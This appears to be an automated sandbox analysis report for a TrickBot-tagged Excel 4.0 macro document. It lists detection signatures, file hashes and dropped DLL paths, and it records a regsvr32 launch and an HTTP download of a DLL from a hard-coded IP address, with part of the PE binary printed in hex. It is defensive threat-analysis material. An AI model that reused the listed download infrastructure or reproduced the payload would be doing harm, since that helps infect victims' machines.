Analysis Report Order_Summary-9632850.xlsb

Overview

General Information

Sample Name: Order_Summary-9632850.xlsb
Analysis ID: 432380
MD5: d091fb57338164acff3bd648a1782fd9
SHA1: ca63bade67055580f6be380cd41bb98affd5de49
SHA256: 12bbd7661b6fd48f3552101588625bde0709dd68b28a0677d000a02389e3b812
Tags: sat1TrickBotxlsbxlsx
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score: 88
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Document exploit detected (creates forbidden files)
Document exploit detected (drops PE files)
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Drops PE files to the user root directory
Found Excel 4.0 Macro with suspicious formulas
Office process drops PE file
Sigma detected: Microsoft Office Product Spawning Windows Shell
Abnormal high CPU Usage
Antivirus or Machine Learning detection for unpacked file
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the user directory
Found dropped PE file which has not been started or loaded
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Registers a DLL
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Xls With Macro 4.0

Classification

AV Detection:

barindex
Antivirus or Machine Learning detection for unpacked file
Source: 3.2.regsvr32.exe.2c00000.2.unpack Avira: Label: TR/Dropper.Gen
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File opened: C:\Windows\SysWOW64\MSVCR100.dll Jump to behavior

Software Vulnerabilities:

barindex
Document exploit detected (creates forbidden files)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\sat1_0609_2[1].dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\kdldyeff.dll Jump to behavior
Document exploit detected (drops PE files)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: sat1_0609_2[1].dll.0.dr Jump to dropped file
Document exploit detected (UrlDownloadToFile)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Section loaded: unknown origin: URLDownloadToFileA Jump to behavior
Document exploit detected (process start blacklist hit)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.3:49715 -> 185.180.199.121:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.3:49715 -> 185.180.199.121:80

Networking:

barindex
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 10 Jun 2021 06:47:07 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.3.28Last-Modified: Wed, 09 Jun 2021 20:56:10 GMTETag: "803e0-5c45b81110e80"Accept-Ranges: bytesContent-Length: 525280Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 de a0 b9 12 9a c1 d7 41 9a c1 d7 41 9a c1 d7 41 cc de c4 41 bf c1 d7 41 9a c1 d7 41 a2 c1 d7 41 f8 de c4 41 89 c1 d7 41 9a c1 d6 41 53 c0 d7 41 19 dd d9 41 81 c1 d7 41 72 de dd 41 16 c1 d7 41 22 c7 d1 41 9b c1 d7 41 72 de dc 41 c7 c1 d7 41 72 de d3 41 9b c1 d7 41 52 69 63 68 9a c1 d7 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 93 84 74 60 00 00 00 00 00 00 00 00 e0 00 0e 21 0b 01 06 00 00 40 02 00 00 d0 05 00 00 00 00 00 d9 bd 00 00 00 10 00 00 00 50 02 00 00 00 00 10 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 08 00 00 10 00 00 64 dd 08 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 60 db 02 00 55 00 00 00 b8 c0 02 00 f0 00 00 00 00 50 03 00 b8 69 04 00 00 00 00 00 00 00 00 00 00 e0 07 00 e0 23 00 00 00 c0 07 00 b8 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 02 00 14 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a7 37 02 00 00 10 00 00 00 40 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b5 8b 00 00 00 50 02 00 00 90 00 00 00 50 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e8 63 00 00 00 e0 02 00 00 30 00 00 00 e0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 69 04 00 00 50 03 00 00 70 04 00 00 10 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d2 5f 00 00 00 c0 07 00 00 60 00 00 00 80 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /sat1_0609_2.dll HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.180.199.121Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: global traffic HTTP traffic detected: GET /sat1_0609_2.dll HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.180.199.121Connection: Keep-Alive
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://ocsp.comodoca.com0
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://ocsp.digicert.com0O
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://ocsp.sectigo.com0
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://api.aadrm.com/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://api.addins.store.office.com/app/query
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://api.cortana.ai
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://api.diagnostics.office.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://api.diagnosticssdf.office.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://api.microsoftstream.com/api/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://api.office.net
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://api.onedrive.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://apis.live.net/v5.0/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://augloop.office.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://augloop.office.com/v2
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://autodiscover-s.outlook.com/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://cdn.entity.
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://clients.config.office.net/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://config.edge.skype.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://cortana.ai
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://cortana.ai/api
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://cr.office.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://dataservice.o365filtering.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://dataservice.o365filtering.com/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://dev.cortana.ai
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://devnull.onenote.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://directory.services.
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://entitlement.diagnostics.office.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://graph.ppe.windows.net
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://graph.ppe.windows.net/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://graph.windows.net
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://graph.windows.net/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://incidents.diagnostics.office.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://lifecycle.office.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://login.microsoftonline.com/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://login.windows.local
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://management.azure.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://management.azure.com/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://messaging.office.com/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://ncus.contentsync.
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://ncus.pagecontentsync.
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://officeapps.live.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://onedrive.live.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://onedrive.live.com/embed?
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://outlook.office.com/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://outlook.office365.com/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://pages.store.office.com/review/query
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://powerlift.acompli.net
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: https://sectigo.com/CPS0
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://settings.outlook.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://shell.suite.office.com:1443
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://skyapi.live.net/Activity/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://staging.cortana.ai
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://store.office.cn/addinstemplate
